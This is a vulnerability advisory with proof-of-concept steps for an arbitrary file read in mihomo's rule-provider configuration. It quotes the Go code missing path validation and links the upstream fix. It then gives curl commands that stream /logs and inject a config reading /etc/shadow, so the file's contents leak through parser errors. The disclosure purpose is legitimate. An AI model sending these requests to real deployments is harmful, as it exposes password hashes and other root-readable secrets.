
Proof-of-concept exploit for CVE-2025-56499, demonstrating arbitrary file read via missing path validation in mihomo's rule-provider configuration, with log-based data exfiltration.
Arbitrary File Read via Missing Path Validation in Local Rule Provider
Upstream Fix: https://github.com/MetaCubeX/mihomo/pull/2177
Affected Versions: mihomo <= v1.19.11
When parsing rule-providers configuration, the type = "file" branch fails to validate the supplied path. An authenticated attacker controlling schema.Path can point the provider to any readable local file. Because most arbitrary files do not conform to the expected rule format, parsing errors (including substantial file content fragments) are emitted into the in-memory logs and exposed through the /logs API. Since mihomo often runs with elevated (root / administrator) privileges, this results in high-impact information disclosure.
rules/provider/parse.go, the schema.Type == "file" case only invokes C.Path.Resolve() and never enforces C.Path.IsSafePath() or any equivalent whitelist / sandbox constraint.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
File branch deficiencies:
/logs to capture parser error output./configs embedding a malicious rule-providers entry with type = file and target file path.Listen for logs (example token Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Inject configuration to read /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Unescaped payload:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Result: Parse failure lines in /logs contain fragments of /etc/shadow (example screenshot):
